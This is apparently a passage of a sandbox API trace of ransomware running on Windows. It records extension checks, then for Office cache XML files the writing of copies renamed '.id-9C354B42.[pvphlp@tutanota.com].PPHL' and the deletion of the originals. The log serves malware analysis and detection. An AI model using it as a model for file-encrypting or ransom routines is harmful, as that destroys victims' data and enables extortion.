(lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".dbf") returned 4 [0061.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".1cd") returned 4 [0061.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.623] lstrlenW (lpString=".jpg") returned 4 [0061.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.623] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.623] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.780] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=4274) returned 1 [0061.780] CloseHandle (hObject=0x194) returned 1 [0061.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0061.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.781] GetLastError () returned 0x0 [0061.781] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0061.783] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0061.784] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0061.785] SetEndOfFile (hFile=0x1d0) returned 1 [0061.785] CloseHandle (hObject=0x1d0) returned 1 [0061.789] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.789] SetEndOfFile (hFile=0x194) returned 1 [0061.790] CloseHandle (hObject=0x194) returned 1 [0061.790] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.791] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0061.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.791] lstrlenW (lpString=".doc") returned 4 [0061.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.791] lstrlenW (lpString=".docx") returned 5 [0061.791] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.791] lstrlenW (lpString=".pdf") returned 4 [0061.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.791] lstrlenW (lpString=".xls") returned 4 [0061.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.791] lstrlenW (lpString=".xlsx") returned 5 [0061.792] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.792] lstrlenW (lpString=".ppt") returned 4 [0061.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString=".zip") returned 4 [0061.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.792] lstrlenW (lpString=".rar") returned 4 [0061.792] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString=".bz2") returned 4 [0061.792] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString=".7z") returned 3 [0061.792] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString=".dbf") returned 4 [0061.792] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString=".1cd") returned 4 [0061.792] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString=".jpg") returned 4 [0061.792] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.792] lstrlenW (lpString=".doc") returned 4 [0061.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.792] lstrlenW (lpString=".docx") returned 5 [0061.793] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.793] lstrlenW (lpString=".pdf") returned 4 [0061.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString=".xls") returned 4 [0061.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString=".xlsx") returned 5 [0061.793] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.793] lstrlenW (lpString=".ppt") returned 4 [0061.793] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.793] lstrlenW (lpString=".zip") returned 4 [0061.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.793] lstrlenW (lpString=".rar") returned 4 [0061.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString=".bz2") returned 4 [0061.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString=".7z") returned 3 [0061.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.793] lstrlenW (lpString=".dbf") returned 4 [0061.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.793] lstrlenW (lpString=".1cd") returned 4 [0061.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.793] lstrlenW (lpString=".jpg") returned 4 [0061.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.794] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.794] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.795] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=4274) returned 1 [0061.795] CloseHandle (hObject=0x194) returned 1 [0061.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0061.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.795] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.796] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.796] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.796] GetLastError () returned 0x0 [0061.796] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0061.798] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0061.800] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.801] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0061.801] SetEndOfFile (hFile=0x1d0) returned 1 [0061.801] CloseHandle (hObject=0x1d0) returned 1 [0061.805] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.805] SetEndOfFile (hFile=0x194) returned 1 [0061.806] CloseHandle (hObject=0x194) returned 1 [0061.806] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.806] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0061.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.807] lstrlenW (lpString=".doc") returned 4 [0061.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString=".docx") returned 5 [0061.807] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.807] lstrlenW (lpString=".pdf") returned 4 [0061.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString=".xls") returned 4 [0061.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString=".xlsx") returned 5 [0061.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.807] lstrlenW (lpString=".ppt") returned 4 [0061.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.807] lstrlenW (lpString=".zip") returned 4 [0061.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.807] lstrlenW (lpString=".rar") returned 4 [0061.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString=".bz2") returned 4 [0061.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString=".7z") returned 3 [0061.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.807] lstrlenW (lpString=".dbf") returned 4 [0061.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.807] lstrlenW (lpString=".1cd") returned 4 [0061.808] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.808] lstrlenW (lpString=".jpg") returned 4 [0061.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.808] lstrlenW (lpString=".doc") returned 4 [0061.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString=".docx") returned 5 [0061.808] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.808] lstrlenW (lpString=".pdf") returned 4 [0061.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString=".xls") returned 4 [0061.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString=".xlsx") returned 5 [0061.808] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.808] lstrlenW (lpString=".ppt") returned 4 [0061.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.808] lstrlenW (lpString=".zip") returned 4 [0061.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.808] lstrlenW (lpString=".rar") returned 4 [0061.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString=".bz2") returned 4 [0061.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.808] lstrlenW (lpString=".7z") returned 3 [0061.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.809] lstrlenW (lpString=".dbf") returned 4 [0061.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.809] lstrlenW (lpString=".1cd") returned 4 [0061.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0061.809] lstrlenW (lpString=".jpg") returned 4 [0061.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.809] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.809] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0061.809] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.810] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=6421) returned 1 [0061.810] CloseHandle (hObject=0x194) returned 1 [0061.810] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0061.811] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.811] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.811] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.811] GetLastError () returned 0x0 [0061.811] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x1915, lpOverlapped=0x0) returned 1 [0061.814] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0061.815] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.815] WriteFile (in: hFile=0x1d0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0061.815] SetEndOfFile (hFile=0x1d0) returned 1 [0061.815] CloseHandle (hObject=0x1d0) returned 1 [0061.817] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.817] SetEndOfFile (hFile=0x194) returned 1 [0061.818] CloseHandle (hObject=0x194) returned 1 [0061.818] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.818] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0061.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.818] lstrlenW (lpString=".doc") returned 4 [0061.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".docx") returned 5 [0061.819] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.819] lstrlenW (lpString=".pdf") returned 4 [0061.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString=".xls") returned 4 [0061.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString=".xlsx") returned 5 [0061.819] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.819] lstrlenW (lpString=".ppt") returned 4 [0061.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.819] lstrlenW (lpString=".zip") returned 4 [0061.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.819] lstrlenW (lpString=".rar") returned 4 [0061.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString=".bz2") returned 4 [0061.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString=".7z") returned 3 [0061.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.819] lstrlenW (lpString=".dbf") returned 4 [0061.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.819] lstrlenW (lpString=".1cd") returned 4 [0061.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.819] lstrlenW (lpString=".jpg") returned 4 [0061.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0061.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0062.322] lstrlenW (lpString=".doc") returned 4 [0062.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.322] lstrlenW (lpString=".docx") returned 5 [0062.322] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0062.322] lstrlenW (lpString=".pdf") returned 4 [0062.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.346] lstrlenW (lpString=".xls") returned 4 [0062.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString=".xlsx") returned 5 [0062.347] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0062.347] lstrlenW (lpString=".ppt") returned 4 [0062.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 